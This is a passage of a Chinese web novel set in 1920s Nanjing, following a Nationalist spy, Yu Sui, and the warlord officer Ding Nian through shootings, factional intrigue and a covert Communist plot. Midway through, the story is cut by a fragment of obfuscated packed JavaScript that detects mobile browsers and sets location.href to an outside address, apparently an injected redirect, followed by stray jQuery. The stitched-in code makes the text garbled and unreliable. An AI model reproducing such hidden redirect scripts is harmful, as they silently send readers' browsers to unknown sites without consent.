“快吃吧,一会就凉了。” “虞岁,吃好了就换衣服,爷说要娶你是真的。” “那你等着吧。” 陆漓的效率很高,等虞岁吃完早饭,不紧不慢的换完喜服,陆府上下张灯结彩一派喜洋洋的氛围。 只不过,没有宾客。 丁年带着亲兵从正门精神抖擞的走进来,“陆二,你这席面设的不错。” “你来干什么?” 丁年耸耸肩,“看不出来么?我来抢亲啊。” 一个警卫员跑到陆漓耳边低语,陆漓的脸色越来越黑,他发了狠一样的拉过身旁的虞岁,快速掏枪抵住她额角…… 虞岁笑了,“二爷刚还说要娶我,这会又是闹的哪出?” “闭嘴!方才说要娶你是真的,现在要杀你也是真的!” 丁年掏出枪,瞄准陆漓,“大势已去,像个男人一样。” 陆漓笑的癫狂,“我得不到的,你也别想得到!” 砰的一声枪响,在谁都没反应过来的瞬间……虞岁反手挟制住陆漓,用他的枪,用他刚刚抵在自己头上的枪,干脆利落的结果了他。 陆漓躺在地上,眼睛瞪的大大的,满脸的难以置信。 虞岁揉了揉额角的印子,又给他补了两枪,接着把枪扔到他身上,“陆二,我最恨别人用枪抵着我的头,上一个这样做的,是教我用枪的师傅,坟头草已经三尺高了。” 丁年挑眉,忍不住为她鼓掌:“夫人好身手。” “你收尾吧,我还有事”,虞岁边说边走向大门。 “什么时候回家?” “看心情。” 虞岁可不是拎不清的,现在的局面,多方势力搅在一起,她需要一个明确的指令。 民国十三年,陆荣廷与沈鸿英之间爆发战争,李宗仁、黄绍竑、白崇禧等新桂系势力趁机发展壮大,陆荣廷腹背受敌,同年九月,陆荣廷通电下野。 国民党驻南京城情报处负责人高世柒看完电报上的公开下野电文,有些头疼的看着坐在她面前的虞岁,试探的问:“听说陆荣廷的儿子是丁年开枪打死的?” “不是哦,是我打死的,我当时反手就是一枪,接着又补了两枪,他才死透”,虞岁绘声绘色的给她描述。 “够了,虞岁啊,上头把你分给我,就是因为你太骄傲了,同为女人,想着我能顾及你的情绪和自尊,这是上头惜才,但是你不能太过,懂么?” 虞岁百无聊赖的摇摇头,“不太懂。” “这个事,就是丁年做的,他自己都承认了,你就不要再掺一脚了!上头确实惜才,但是还没到能因为你得罪陆党旧势的地步!陆荣廷只是下野,可还没死!” “那丁年?” “路是他自己选的,他既然决定为你扛下这事,他就应该有觉悟,你管好你自己就行了!你以为他是什么良善之辈么?他才二十岁,就做到师长了,他会是脑袋空空的人么?我看他是一肚子花花肠子!”,高世柒说的苦口婆心的,然后她发现虞岁听的重点跟她想的不一样。 虞岁点点头,她想到那晚四喜堂门口,饶是再成熟内敛,也藏不住他意气风发的模样,“你说的对,他确实不是脑袋空空的人。” ?“好了,这件事就到此为止了,说回正题,李宗仁的二儿子李砚章你前年接触过,有把握么?” “没什么把握,他跟我聊天,十句话八句半都在讲丁年。” “为什么?” “可能丁年救过他的命吧。” 高世柒有些无语,尝试把话题再次拉回来,“你觉得南京城现在的势力都有哪些?” 说到这个,虞岁来了些精神,“北洋政府,直系军阀的残余势力,地方实力派,共产党,日本人。” “我还以为你得把新桂系算进去。” 虞岁摇摇头,“陆荣廷刚刚下野,正是李宗仁和白崇禧趁机收地盘、巩固广西势力的时候,短时间内顾不上这头。” 高世柒点点头,“上头的意思是,让你们潜伏到这些势力身边。共产党和日本人除外,眼下正是国共合作的时候,暂时共产党和日本人都成不了什么气候。对我党来说有些棘手的就是北洋政府,残余势力和地方实力派。” 虞岁突然想到一个人,“赵虞呢?” 高世柒顿了顿,“去年借着李品仙的手送给丁年了。” 等了半天也不见虞岁有什么反应,高世柒以为这事就这么着了,她站起来想要给虞岁倒杯茶……就听到“哐当”一声脆响。 虞岁一脸平静,却以极快的速度将面前的茶杯掀翻到地上,碎瓷片在地上四散迸裂 。 她的眼眸瞬间被一层寒霜笼罩,语气冷得仿佛能结出冰碴:“你是说,这一年来,我在前面冲锋陷阵,你们却把她派到丁年身边?对么?” 高世柒被这突如其来的变故惊得呆立原地,嘴唇微张,却一时说不出话来,好半晌,她才有些气愤的说:“虞岁,你在跟谁说话?!我是你的上级!” 虞岁冷冷的看着她,“高世柒,我都不想点破你,现在正式的任命通文还没下来,你我,本质上都一样,你在跟我端什么架子?有本事你就弄死我,做不到就跟我客气点!” 高世柒能说什么呢?她还真没办法拿她怎么样,虞岁只有自己,没有任何人任何事能对她构成威胁。 寻常那一套,对她没用,只能怀柔。 “虞岁,是我没有考虑周全,但是你在气什么呢?你的性格也不可能接受像对赵虞那样的安排,而且你以为她在丁年那好过么?你以为送她过去是让她跟丁年举案齐眉么?” 虞岁不紧不慢的擦干手上的水渍,“送她去北洋政府那边。” “你知道你在说什么么?她现在是丁年的四姨太,你把她送去北洋政府,你让丁年的脸往哪放?” “你少拿丁年说事,我会亲自去送走她。” “你们之前不是关系很好么?怎么就闹到这步了?” 高世柒多少还是了解虞岁的,平时看着事事不在乎,实际上极有原则,只要她选好的路,她就一条路走到黑。 怎么就闹到这步?虞岁想起来,她遇到丁年那天,其实不止丁年是狼狈的,她也是狼狈的。 本来是一起出任务,但是赵虞临时跑了,把她自己扔在那群地痞里,她用光了子弹,费尽心思,好不容易跑出来,跑进戏院后台…… 说起来也是多亏了丁年,要不是他无意中躲进来,也就没有那些亲兵来搜查,那些地痞也不会看到有军官在就没敢进来……就是这么巧…… 如果赵虞被安排到别人身边,虞岁也许真的不会计较,但是丁年不行。 想到自己在前面拼命,她躲在丁年的后宅安逸,那怎么能行呢? 虞岁直直的看着她,“我不喜欢重复同样的话,我刚才说的,你听见了,可以么?” 高世柒能怎么样呢?现在虞岁做的好多事最后都被她顶了名头,所以她升的这么快。因为赵虞得罪虞岁也犯不上,“可以,我给你叫车送你去丁府。” 虞岁笑了,“谢谢”,她又拿出个胶卷放到桌上,“这是陆荣廷和日本人往来的情报。” 等到虞岁离开高世柒的办公室,走到走廊中央的时候,就听到身后的办公室传来一声巨响。 虞岁不屑的笑了,废物,无能狂怒。 这个世道,要么拳头硬,要么脑力硬,要么手段硬,什么都没有的人,只能出局。 “师座,夫人回来了。” 这几天,丁年再忙,也会抽出时间回家,他总觉得虞岁会来的。 丁年一瞬间竟有些手足无措的感觉,“在哪里?” “在前厅。” 丁年有些火急火燎的往外走,在回廊下,遇到了许久不见的陆茄,“丁年,你这是要去哪?” 见丁年不理她,陆茄声音扬了几分,“丁年,除了我,不会有人爱你的。” 丁年停住,微微回头看她,“陆茄,我不指望谁非得爱我,我要的是我爱别人的能力。我可以送你去上海,去你父亲那。你想明白了随时来找我。” 陆茄想,原来嫉妒真的会让人变得狰狞可怖,她在丁年身边也不短的时间了,他为什么就看不到她呢? “丁年,我都听说了,我弟弟不是你杀的,是虞岁!我不会放过她的!” “是我还是虞岁没有区别,你有什么不满尽可以冲我来”,丁年说完不再看她,径直去往前厅。 陆茄愣在原地,微风吹过,她感觉脸上凉凉的,伸手一摸,竟不知何时泪流满面,她喃喃低语:“怎么会没有区别?不是你,我才能继续爱你啊。” 丁年步履匆匆,像奔赴一场盛大的自我救赎。 踏入前厅,他一眼就捕捉到了虞岁的身影。 她站在窗前,日光透过窗棂,洒在她身上,勾勒出柔和的轮廓。 丁年看着她,感觉整颗心都柔软下来。 虞岁像是察觉到什么,缓缓转过头,目光与丁年交汇。 那一瞬间,丁年只觉周遭的喧嚣都消失了,世界仿佛安静下来,他只能看到她眼眸中的波光潋滟。 他走向虞岁,“你来了”,声音里染上几分不易察觉的颤抖,像是害怕眼前的一切只是幻影。 “丁年,我来履行承诺,顺便问你要个人。” “好。” “四姨太赵虞,我得带走她。” “好。” “你就没有什么话想问我么?” “你饿不饿,新来的厨子做的海棠花糕不错。” “好。” “暮山,去准备。” “好的师座。” “丁年,我要见见你府上的所有女人。” “好,我带你去。” 这是丁年第一次完整的见到府上的四个姨太太聚在一起。 虞岁看着她们,她们也在打量着虞岁。 还是陆茄率先开口,“虞岁,你怎么敢来?” 虞岁光看她跟陆二有几分相似的脸就知道她是谁了,“二姨太好大的派,我记得这府上是姓丁,不是姓陆吧?” “也不姓虞吧?” 虞岁循声看过去,笑了,赵虞,我就等你说话呢。 虞岁缓缓的走过去,走到她面前,扬手,干脆利落的打了她一巴掌。 赵虞被打的偏过头,反应了一瞬,她抬手想打回去,虞岁眼疾手快的握住她的手腕,反手又一巴掌,打了她另一边的脸。 一个女人冲过去,指着虞岁问丁年:“这个女人是谁?你就这样放任她?!” 丁年郑重其事的说:“她是我夫人。” 虞岁挑眉,入戏了?演这么走心? 那女人有些难以置信,“你知道你在说什么么?” “白暑,记住你的身份。” 气氛有些凝滞,五姨太站出来打圆场,“我叫石棠,以后大家就是一家人了。” 虞岁歪头淡笑,笑的无辜,“做不了一家人哦,我不是来加入你们的,我是来拆散你们的。” 白暑有些气急败坏,“你做梦!我现在就去给我叔叔发电报!” 虞岁好心的提醒她,“去,快点去,记得把我跋扈的样子添油加醋的、完完整整的传达给他。” 白暑气的咬牙,转身跑了出去,石棠跟在她后面追了出去。 虞岁揉了揉手腕,看向丁年,“把你的二姨太带走。” 丁年转身走向外面,边走边说:“陆茄,你出来,我有话说。” 陆茄经过虞岁的时候狠狠的剜了她一眼,虞岁差点没忍住笑,从前她师傅对她说过:一等人,用心看人;二等人,用脑看人;三等人,用嘴看人;四等人,用手看人;下等人,用眼看人。 赵虞坐到椅子上,手捂着脸,幽幽的说:“虞岁,实话实说,我可真羡慕你,羡慕的都有点嫉妒了……其实咱们这些女特工,看上去挺风光的,说白了,跟四喜堂那些女人有什么区别?不过是服务对象是高官势党罢了……你就不一样了,初出茅庐就遇到丁年,之前派你去周旋的陆二,也没动过你。你干净的跟个玉净瓶似的,凭什么呢?你跟丁年没结果的,懂么?乱世儿女,身不由己,时局动荡,由不得你!去年有个女特工不也是爱上了搭档,假夫妻偏要做实,结果呢?那男人碍了上头的事,上峰下令除掉……哦对了,还是你亲自去动的手,你忘了么?现在那女特工可又换了个主儿打得火热呢。你以为为什么派了我又让你来?因为丁年是新桂系势力最不可控的因素。你真的了解那个男人么?” 虞岁颇为耐心的给她纠正,“你说的对,但不全对,第一,我没想跟丁年假戏真做,我现在就是活一天赚一天;第二,我不是被派来的,我是主动来的;第三,我了不了解他不重要,我只要他听话就行了。顺便说一句,特训的时候你成绩就不如我,这会就别试图用你那三两半的道行对我攻心了。” “这么说,你是打算跟丁年在一起了?” “赵虞,你是太久没有接任务了所以嗅到情报的苗头就想复习一下自己学过的技能么?不关你的事。” “哼,说吧,你想怎么样?” “我啊,申请送你去北洋政府,好好发挥你的才能。” “虞岁,你脑子有问题吧?现在正是直奉战争打的火热的时候,你让我去?我还有命回来么?” “怎么会?你不是最擅长内斗么?那里是现在内斗最严重的地方,正是你的舒适区啊。怕没命回来?那你为什么要做没命去的事?” “虞岁,我欠你的,我去。什么时候走?” “今晚。路线已经安排好了,那边也会有人接应你。” “我有什么好处?” 虞岁像看傻子一样的看了她一眼,认真的说:“离我远点,就是给你最大的好处。” 赵虞深吸了口气,“虞岁,你会遭报应的。” “嘁,国民党章都忘了?信报应?有报应我都死了不知道多少个轮回了。” 半程骤雨影似萍,世途跌宕梦孤行。 院子里,陆茄看着丁年,丁年望着虞岁的方向出神,“你有什么话说?” 丁年身形未动,“之前已经说过了。” 陆茄苦笑,自顾自的说:“你都不好奇我是什么时候喜欢你的么?那年我跟父亲去马场,你还只是白崇禧的警卫员,穿干净的白衬衫,浑身都透着阳光的味道,只一眼,你就在我心里住了好多年……” 丁年抬起手看了看腕上的表,虞岁怎么这么久? 看他这样,陆茄就明白了,丁年没有心,他跟虞岁是一种人,所以才会被她吸引。 入他心,则驻他心,旁的人,再好,他也不会看,他看不到。 “丁年,你喜欢虞岁,会很辛苦。” 听到虞岁的名字他终于有了点反应,“不关你的事。” “我父亲的旧部在这还是有些残存势力的,我知道你一直在暗中清除,可你清的干净么?你护不住虞岁的……” 丁年动了动脖子,不给陆茄继续说下去的机会,几步上前扼住了她的喉咙,“你是不是觉得我脾气很好?清掉陆党旧部是时间问题,清掉你,是瞬间的问题。不要再挑衅我的容忍度。” 陆茄真的觉得自己要死了,丁年的眼里都是嗜血的暗芒,他在用实际行动告诉她,招惹虞岁,他真的会杀了她。 “丁年。” 听到虞岁的声音,丁年一下子就松了手。 陆茄像是濒死的鱼,大口大口贪婪的呼吸着空气,她毫不怀疑,虞岁再晚出来一会,丁年的手再扣紧一寸,她可能真的会被丁年掐死,想到这,她很是慌张的逃离。 丁年看着虞岁,正想说点什么的时候,一阵急促的脚步声由远及近,打断了两人之间那丝说不清道不明的暗流。 暮山神色匆匆地跑来,在丁年面前站定,敬了个军礼后,递给了他一封加急电报,“师座,刚收到消息,直奉战争局势突变,张作霖的奉军攻势猛烈,直系吴佩孚节节败退,南京城人心惶惶,各方势力都在暗中动作。给您,这是白参谋长的急报。” 丁年听完,皱着眉,叹了口气,“好一场乱世的龙潭虎穴啊。” 虞岁微微点头,神色凝重:“眼下各方势力犬牙交错,南京城必定是各方争夺的焦点,你要早做打算。” 丁年拆开电报,看完后,面沉如水,“参谋长命我即刻整顿军队,准备随时支援前线,抵御奉军。还有,得尽快处理好陆荣廷旧部的残余势力,以免他们在这关键时刻生乱。” 虞岁沉思片刻后说道:“陆党旧部虽已式微,但仍有不少顽固分子潜藏在南京城,若不彻底清除,一旦与奉军勾结,后果不堪设想。所以你府里这几个女人,不能动了。清掉一波,还会有第二波,不如保持现状。” 丁年静默良久,意味深长的说了句:“虞岁,我们之间,好像总是时机不对。” 是啊,这个节骨眼,谈不起别的,前路茫茫,除了硬闯,没有破局之法。 “丁年,我要走了。” “去哪里?” “先北上,再南下。” 北上,那是北洋政府的地盘,南下,也许就是新桂系的势力范围。 确实,是虞岁的风格,像她会做的选择。 “什么时候回来?” “不确定。” 怎么能确定呢?好在,她和他都还年轻,还有希望。 丁年感觉心里堵着一块大石头,他搬得动,却无处安放。 “虞岁,我们之间,每次见面好像都是为了分别。” “丁年,不谈结局,有的人光是遇到,已经是赚到了。” 民国十六年,(1927年)四月,南京国民政府成立。 “师座,咱们的人来报,夫人已经回了南京城。” 丁年刚刚处理完上个月底南京惨案的收尾,北伐军攻驻,英美借口保护侨民,下令其军舰对南京城进行炮击,正是忙的焦头烂额的时候。 而且……还有老蒋在上海发动的□□政变,致使国共合作破裂…… 听到虞岁的消息,丁年终于觉得,这日子总算有点盼头。 “去了哪?” “您当初说了是暗中保护,咱们人也没有跟的太紧,怕被夫人察觉,所以只知道是回了总统府。” 丁年若有所思的点点头,“现下正是老蒋的民国政府和汪精卫的武汉民国政府内斗白热化的时候,他们也没个正式独立的地方,应该都会在总统府办公。她最近,好吗?” 暮山想了想,“别的都还是老样子,只不过最近受了点伤,为了救,日本人。” “日本人?” “师座您见过的,两年前四喜堂门口那个日本人,九川纯井。” 暮山觉得他现在越来越摸不透丁年的脾气了,如果说两年前他还能从丁年偶尔流露的表情窥测他的心绪,现在却是不能了,感觉是从虞岁走了那天起,他就活得像个假人。 行事滴水不漏,说话滴水不漏,表情管理滴水不漏。 半晌,丁年无声的笑了,“她倒是会押宝。” “押宝?” 丁年叹口气,“她知道我是被她切实拿在手心里的,从四年前开始,她与李砚章也是旧识,如今再加个日本人,这南京城的各方势力她都沾点关系,倘若真有倾覆那日,无论是站队还是明哲保身,进退都有路。” 这个女人真是……多智近妖啊。 她明明可以靠她的脸、她的身体得到更多,但是她偏要靠脑子在男人堆里厮杀。 她选了一条最难走的路,丁年真是爱惨了她这种骄傲。 但丁年也恨她,恨她为什么要押宝,为什么不能在他身上赌一把大的呢? 高世柒收拾东西的间隙看了一眼站在窗口悠哉悠哉的虞岁,心下泛起一丝异样,这都什么时候了,她还能周旋在各方势力之间一副岁月静好的模样! “虞岁,你是不是觉得这一次,你就一定会站对队伍?” 虞岁回头看她,“我会不会押对还真不好说,但是眼下,你去武汉,一定会比我先错。” “虞岁,再次见面,我们也许就是对立面了。” 虞岁不以为然,“我们现在也是对立面。” 高世柒知道说这些说不过她,换个话题刺激她,“你还不知道吧?就在你回来的一周前,丁年多了一个六姨太,怎么样,听到这个消息开心么?” 虞岁一步一步走到她面前,跟她面对面站着,眼底尽是明晃晃的不屑和讥笑,“高世柒,你终究是个女人,脑子里总也绕不开男女情事,你能想到最恶毒的方式就是用这种事刺激我吧?别说他有六姨太,他就算有六十个姨太太又如何?” 高世柒有些讶然,“你不在乎?” 虞岁抱着手臂,阳光晃在她脸上,耀眼的不像话,“我年轻,我有的是选择。丁年很好,我也不逊色。” “呵,故作镇定。” “哦,小人之心。” 虞岁希望,她和丁年,永远是两个独立的个体,可以互相依靠,互相利用,互相取暖,各取所需,但本质上,她属于她自己。 个中滋味,不足为外人道。 七月中旬,虞岁接到上级的指令,要求她参与对共产党员和革命群众的屠杀。 这是虞岁第一次发自内心抵触和挣扎。 这种程度的屠杀,就是背叛了孙先生制定的国共合作政策和反帝反封建纲领,亲手粉碎了国共合作现状。 况且……共产党的革命群众都是工农阶级……换句话说,就是屠杀老百姓…… 虞岁第一次开始怀疑自己坚持的信仰,是不是错的? 她不想参与,情势所迫她又不得不参与,她得怎么办呢? 她可以杀无赖地痞,可以杀恶军阀,可以杀日本人,但她不能把屠刀放到反帝反封建的革命群众脖子上!这是底线! 她想了又想,拨了通电话给李砚章,她要先试探一下李宗仁的态度,只要不是完全站队,那她就可以去找丁年了。 电话被李砚章很快接起,“这里是李府,请问你找谁?” “我是虞岁,我找李砚章。” “岁岁啊?怎么了?” “砚章,你最近在忙什么?都没有找我玩。” “前段时间跟我父亲去了趟上海和武汉,最近才回来,不光没找你,跟年哥都好久没见了。” 虞岁无语,又来了,三句话不离丁年。她继续循循善诱的说:“去了上海和武汉竟然没带我?你之前送我的双妹牌粉嫩膏和月里嫦娥的牙粉我都快用完了……对了,我还想吃武汉的四季美汤包和青鱼划水呢!” 李砚章的声音里有些无奈,“岁岁啊,我要是去玩,怎么会不带你呢?你都不知道我家那个老头子,去了趟上海参与那个什么清党行动,然后又去武汉劝和老蒋和老汪……都不够他忙的。” 虞岁捕捉到他话里的关键词,“清党行动?那怎么带你去呢?应该带你年哥啊。” “谁说不是呢?我也是这么说,我年哥有勇有谋英武无比,但是老头子说,得留下他坐镇南京城,一方面防止北洋政府反扑,另一方面,安抚当地群众情绪。” 虞岁叹了口气,“唉,砚章我觉得你特别厉害,这里面的弯弯绕绕看的不比你年哥差,你看,我就没有这政治敏感度,听不懂为什么要镇压还要安抚。” 李砚章被她说的不好意思,大男子主义的虚荣心瞬间得到了满足,“真的么?真的跟年哥都差不多了么?嗨,你就是一个小女人,平时研究研究吃喝玩乐就好啊,有什么事我们男人在前面挡着呢……这个安抚吧,说白了就是上海那头清党做的很大,南京城这就不能太明显,我看我家老头子也是动了恻隐之心了,你是没见到啊,那血流的……我当时看完,晚上回去睡觉闭上眼睛全是血……” 虞岁听懂了,桂系军阀对于这场屠杀的态度是暧昧复杂的,界限不是很分明,那就好办了。 “砚章,别说了,我害怕,我平时看的最多的就是文件,你说的血流成河的场景我光是听着都不寒而栗。” “好好好,那改天,改天我带你去做旗袍,新到了一批料子,上面有花卉和动物图案,你一定会喜欢!还有你刚说那个双妹牌粉嫩膏和月里嫦娥牙粉,我到时候一块带给你。” “好,那改天再见。” 虞岁挂断电话,心里有了主意。 她给丁年的副官暮山拨了个电话,约好了地点。 虞岁觉得丁年这个男人,就像一本书,常看常新,还有点历久弥新的感觉呢,就是那种,年纪越大,越有味道。 他看起来虽然年轻,但是举止间散发出的那种上位者的风韵很迷人。 丁年坐定后的第一句话就是,“虞岁,你知道我们多久没见了么?” “有两年了吧,又一个两年了呢。” “是七百二十天。” “丁师长记性真好,最近怎么样?家里的女人们还好么?” “老样子,还是长住旅部。” “丁年,不跟你兜圈子了,我问过李砚章,你们桂系对于清党行动的态度暧昧不明,我希望你能出手庇佑一下那些群众,当然,做的不要太明显,我也不想你面对上面太难做。” 丁年心念一动,“为什么?老蒋和老汪的态度已经很明确了,就是要割席,你知道你这么做意味着什么吗?” 虞岁笑的狡黠,“我今天是以群众的身份求你庇护,不是以国民党特工的身份,而且你不说出去谁知道?我来找你的时候没有人跟踪,这里是我的一处安全房。” “看不出来,我闪闪发光的虞小姐,心里也是闪闪发光的。” “那当然,我可是闪闪发光的宝藏。” “那么闪闪发光的宝藏小姐,跟我分开的七百二十天里,有想我么?” 虞岁意味不明的说:“欲遣清风飞絮寄幽思,江深雾渺岭峻影无踪。” 八月第一场雨就下得酣畅淋漓,街头巷尾弥漫着潮湿的气息,檐下的雨滴,敲打着青石板,滴答作响。 听,是胜利的旋律,是希望的音符,是未来的号角。 雨后的晚风带着丝丝缕缕的凉意,裹挟着泥土的芬芳、草木的清新,以及被雨水洗涤后的烟火气,驱散了白日里的闷热与喧嚣 。 今天兴致好,丁年浅酌了几杯,这种时候,就会很想很想虞岁,这是他留给自己放肆沉溺于拼凑跟虞岁的回忆的时间。 六姨太祁元端了碗醒酒汤,仔细看了四下无人后,走进了丁年的书房。 见她进来,丁年坐正了身子,神色一片清明,“你来了,有事么?” 祁元放下醒酒汤,打量他一眼,“我们正式认识一下。” 丁年抬手示意她停一下,按了一下书桌上台灯里的开关,书架缓缓分开,他又摸到一个机关,第二层书架分开之后出现一个暗门,他扭了几下密码,门开了,内里别有洞天。 祁元都来不及细看,就被他一系列的操作震撼到,他跟组织的资料一样,是个异常谨慎的人。 进了暗室,祁元继续刚才的话题,“你看起来很高兴。” 丁年浅笑,眸光闪烁,“起义军在南昌打响了反对国民党反动派的第一枪,意味着共产党独立领导武装斗争和创建人民军队的开始,这是我党在探索革命道路上的重要转折点!我当然高兴。” 祁元也笑了,“借着你这么高兴的当口,正式认识一下,我是你的上线,代号,梦想家。” “梦想家?承接过去和未来之间的梦想,组织这个代号给的号。” “丁年同志,你的代号是,脊梁。” 丁年有些哽咽,说不出话,他鲜少有这样情绪激昂的时候,他感觉心潮澎湃,这个代号唤醒了他心底的信仰。 “丁年同志,你的党章和党徽还在么?” 丁年指了指胸口的位置,“徽章在心里。” “算起来,你应该比我还早,应该是土地革命时期,你还记得那时候的宣言么?” 丁年神色郑重,一字一句的说:“牺牲个人,严守秘密,阶级斗争,努力革命,服从党纪,永不叛党。” 他说的掷地有声,祁元听的热泪盈眶,“现在的局势越来越紧张,我的任务就是掩护好你,你有问题,都可以通过我去跟组织联系。” 丁年沉默了,半晌才开口,“我想发展一个人,申请组织批准。” “是虞岁么?其实我来之前,组织就猜到了。你,有把握么?她的成分很复杂,但不可否认的是她的能力很强,如果能发展成功,对组织的贡献会很大。” “只有四成把握,我需要先确认她有多在乎我,才能一点一点渗透。” “好,有什么需要我的地方,尽管说。还有,上个月在汪蒋屠杀里被你救下的革命同志让我代他们向你表示最诚挚的感谢!” “我只是做了我该做的事,而且,这件事也有虞岁的推波助澜。” “这样看来,你发展她应该很容易。” “发展她容易,让她在乎我相信我,却不容易,听起来很矛盾吧?” 祁元一针见血的说:“你有私心。” 丁年自嘲的笑笑:“发展她,是于公的志在必得;让她在乎我,是于私的诚惶诚恐;让她相信我,是先决条件。” 这个八月注定是多事之秋,虞岁在看到老蒋的下野电文时,有一瞬间的怔忪,她想到过这个可能,但是没想到这一天来的这么快。 一阵清脆的电话铃响,虞岁接起来,高世柒声音里的得意隔着电话都盖不住,“怎么样虞岁?要来投奔我么?” 虞岁冷冷的回她,“不必,还轮不到你来嘲笑我,你好像对现在的形势还是看不明白,需要我来提醒你一下么?上个月的七一五事变之后,你们武汉的政府已经名存实亡了,蠢货,真不知道你在得意什么!” “那又如何?现在老蒋下野,都是一盘散沙,你又比我高贵在哪?” “不一样哦,我趟的路,比你多,就注定了我会走的比你稳,比你远”,虞岁说完,不给她对线的机会,干脆的挂断电话。 虞岁觉得烦闷,走出办公室,漫无目的的走在大街上,街头弥漫着动荡与不安的气息。 街边报童在叫卖刊载着时势新闻的报纸,有噱头的标题听着就让人焦虑。 路过一家洋行,橱窗里陈列着时髦的洋装和精致的首饰,可在这山河破碎之际,这些往日里引人注目的物件,此刻却难以吸引路人的目光。 街道转角处,几个身着长衫的青年学生聚在一起,低声议论着救国之策,眼中闪烁着不甘与希望的光芒。 或许,这就是读书的意义,一腔热忱燃起的微弱又渺茫、却不容忽视的顽强意义。 走着走着,虞岁来到了秦淮河畔,河水悠悠流淌,两岸的茶楼酒肆依旧热闹非凡,可她却觉得这繁华背后满是虚幻。 画舫上传来悠扬的丝竹之声和秦淮小调,打破了她的沉思。 在这乱世之中,又有多少人能真正置身事外,享受这片刻的欢愉? 然后她就看到一个熟悉的身影,不由得冷笑,哼,怎么会没有呢?瞧瞧咱们的师长大人,可不就有闲心品茶听曲,温香软玉么?! 多看一秒她都怕看到点不该看的!真是好啊,外面战火纷飞成那样了,他还有这个闲情逸致。虞岁转身就走,越走越快! “你在看什么?”,祁元顺着丁年的视线看过去,没看到什么特别的。 “我好像,看到虞岁了。” “就喜欢成这样?你见青山皆虞岁。” “大概是看错了,龙潭区的战役,桂系占了上风,李宗仁的势力不日就会正式迁回南京”,丁年神色间透着几分怅然,局势波谲云诡,每一次政治军事的变动都像是悬在心上的一把利刃。 祁元的脸色也有些凝重,“这局面是越来越复杂了,桂系此番得势,南京怕是又要掀起一阵波澜。老蒋下野,各方势力都在暗自盘算,也不知这乱局什么时候能有个尽头。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046549|162368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 丁年抿了口茶,“届时李府会办一场晚宴,到时候你跟我一起去。” “我?你是真的不知道家里那几个姨太太多可怕么?革命尚未成功,我可不想死在女人争宠这种事上。” 丁年清咳,“带你,将来我能跟岁岁解释,带她们,说不清。” “那你怎么就非得带个女人呢?”,祁元说到一半突然想到什么,“你不会是打算带我去试探她吧?” “确有此意,你说,她会吃醋么?” “吃不吃醋我不知道,但你要把握好分寸,不然玩脱了,哭的就是你。我多少也听过她的事迹,她可不像是会因为这种事黯然伤神的女人,到时候被刺激的容易是你。” “我会把握好尺度。” 很快,祁元的话就得到了印证。 晚宴当天,在看到虞岁挽着李砚章的手臂出场的时候,丁年的脸色冷的能结出冰来。 虞岁也看到了面色不善的丁年,和他身边的,祁元。 李砚章也是个妙人,他带着虞岁走到丁年面前,“年哥,给你介绍一下……” 丁年打断他,“她是我夫人。” 李砚章有点没反应过来,他看了看丁年,又看了看虞岁,“岁岁,你跟年哥……你们俩?” 虞岁浅笑着摇头,“话可不能乱说,我跟丁师长不是那种关系,丁先生,您的六姨太还在这呢,不要伤她的心。” 祁元连忙摆手,生怕晚一秒,火就烧到自己身上,“我没有!我不会伤心!我支持丁师长!” 丁年这个时候早把之前自己的试探计划和尺度把握忘到九霄云外去了,很好,虞岁总有这个本事让他的心绪因她的举动甚至是一句话产生波动。 他一把拉过虞岁,却又控制着力道生怕伤了她,但他这时候是真上头了,他拽着虞岁一路走,将众人各色的目光抛在脑后…… 李砚章目瞪口呆的看着这个操作,站在原地跟祁元感叹:“你看我年哥,真是帅!” 祁元挑了下眉,“这个虞岁,可真是个尤物!我一个女人看了都很难不心动!” 丁年一路拽着虞岁来到楼上一个僻静的房间,一脚踹开门,解开军装的扣子,把虞岁按在墙上……他胸膛剧烈起伏,额前碎发被汗水浸湿,双眼紧紧锁住虞岁,目光中燃烧着炽热又复杂的情绪。 虞岁甩开了他的手,“丁年你清醒一点!这是什么场合?你是什么身份你还记得么?” 丁年听不进去了,什么理智?什么身份?他都顾不上了,他甚至觉得虞岁有点吵,她为什么还能这么理智?她心里难道就没有一点点在乎他? 他眼底闪过一丝绝望的疯狂,下一秒,猛地俯身含住了虞岁的唇,贪婪的汲取着她唇瓣上的甜蜜和温度…… 虞岁瞪大了眼睛,挣扎着,用力推搡着丁年的胸膛,想要挣脱他的禁锢。 丁年却像是发了疯一般,他身体的每一个细胞都在叫嚣着!他想要她!他紧紧地抱住她,不让她有丝毫逃脱的机会! 不断的攻池略地,侵占她的芳泽。 有一丝凉意从虞岁的眼角滑进丁年的唇角,丁年的理智瞬间回笼,他怔怔的放开了她。 虞岁脸颊绯红,眼神中满是羞愤,她抬手狠狠地甩了丁年一巴掌,清脆的声响在房间里回荡,力道很大,一道清晰的红痕登时出现在丁年白皙的脸上。 “你把我当成什么了?”,她有些怒不可遏的质问丁年。 丁年顶了顶腮,有些意犹未尽,“你让我怎么清醒?虞岁,从五年前秦淮河畔第一次见你那晚起,我就不清醒了!从三年前你说捡到我的照片那晚起,我就不清醒了!从七百二十天前你说有些人遇到就是赚到又离我而去那天起,我就已经疯了!从刚才看到你挽着别的男人的手臂出现在我眼前那一瞬间起,我就再也不能清醒了!你明白么?!” 他拉起有些呆滞的虞岁的手,缓缓放到自己的胸口,声音里藏着数不尽的虔诚和卑微,“岁岁,你问我把你当成什么了,你摸摸看,你在我心里,已经住了很久很久了,可感受到了么?” 虞岁颤抖的手抚在他的心口,那里强有力的心跳,每一下,仿佛都在诉说着他对她炽热缱绻的爱意。 藏的那么深刻,跳的那么剧烈。 虞岁,你是案头悱恻诗,也是我心尖朱砂痣;你是月下一弯泉,也是我情里相思弦 。 虞岁的声音里透着几分哀戚,“丁年,我以为,三年前你救我,是为了下陆二的面子;你抢亲,是为新桂系的内斗做出头鸟;你说,我是你的夫人,是在演戏。” 